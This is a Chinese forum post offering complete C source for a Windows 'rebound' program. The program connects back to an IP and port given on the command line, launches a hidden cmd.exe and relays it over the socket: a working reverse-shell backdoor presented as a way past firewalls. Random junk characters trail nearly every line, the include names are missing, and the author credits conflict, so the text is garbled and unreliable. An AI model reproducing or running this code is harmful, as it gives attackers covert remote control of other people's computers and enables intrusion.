这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IueFx u
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/* ============================== "(~^w=d:$
Rebound port in Windows NT cf20.F{<
By wind,2006/7 7'V@+5
===============================*/ u0c1:Uv#~e
#include _op}1
#include 6iE<T&$3P
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#pragma comment(lib,"wsock32.lib") k"zv~`i'
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void OutputShell(); &.Qrs:U
SOCKET sClient; 'XjZ_ng
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qiD@'Va\
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void main(int argc,char **argv) @9RM9zK.q
{ {qJ1ko)$
WSADATA stWsaData; L+i=VGm0
int nRet; BG]#o|KW
SOCKADDR_IN stSaiClient,stSaiServer; ?X<eV1a
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if(argc != 3) L48_96
{ ,j_i?Ff
printf("Useage:\n\rRebound DestIP DestPort\n"); +_oJ}KI
return; h]}wp;Z
} j-}O0~Jz
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WSAStartup(MAKEWORD(2,2),&stWsaData); e 2oa($9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O;jrCB
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stSaiClient.sin_family = AF_INET; $Sip$\+*
stSaiClient.sin_port = htons(0); LCKV>3+_#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i3mcx)d@H
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8dIgjQX|
{ )}Kf=
printf("Bind Socket Failed!\n"); Js?]$V"
return; yq\K)g*=
} Y)2,PES=
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stSaiServer.sin_family = AF_INET; >@_^fw)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pO3SUOP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Kn;"R:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SZ'R59Ee<
{ flbd0NB
printf("Connect Error!"); ;$wVu|&
return; !?h;wR
} bJTBjS-7
OutputShell(); iz PDd{[
} z$. 88^
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void OutputShell() n 0L^e
{ c-6?2\]j@
char szBuff[1024]; =X:Y,?
SECURITY_ATTRIBUTES stSecurityAttributes; E*K;H8}s
OSVERSIONINFO stOsversionInfo; _A9AEi'.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z46~@y%k
STARTUPINFO stStartupInfo; xfe+n$~ c
char *szShell; jm/`iXnMf
PROCESS_INFORMATION stProcessInformation; `1fY)d^ZS
unsigned long lBytesRead; e6$W Qd`O
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o3P${Rq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?%[@Qb=2
stSecurityAttributes.lpSecurityDescriptor = 0; BW*rIn<?G
stSecurityAttributes.bInheritHandle = TRUE; tg4pyW<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v PG},m~-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); hhc,uJ">!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o]oum,Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y766;
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stStartupInfo.wShowWindow = SW_HIDE; lq;Pch
stStartupInfo.hStdInput = hReadPipe; 8'io$6d=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hMD|#A-<
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GetVersionEx(&stOsversionInfo); KB(8f*
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switch(stOsversionInfo.dwPlatformId) )1`0PJoHE
{ j'"J%e]
case 1: JU&c.p
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szShell = "command.com"; <6 Uf.u`
break; \"OG6G_>$
default: 6mxfLlZ
szShell = "cmd.exe"; ; )@~
break; _F|Ek ;y%
} (gWm,fI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 56kI
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send(sClient,szMsg,77,0); ~U&AI1t+J
while(1) [?N~s:}
{ Cjlk
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~dTrf>R8M
if(lBytesRead) x7<K<k;s
{ M gi,$H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @Z:l62l=bE
send(sClient,szBuff,lBytesRead,0); 6A+nS=
} mtcw#D
else T!)(Dv8@F
{ {q^[a-h>
lBytesRead=recv(sClient,szBuff,1024,0); i2SR{e8:GF
if(lBytesRead<=0) break; H9Q&tl9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '3^'B03
} *_\_'@1|J)
} Yufc{M00
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return; v O_*yh1
}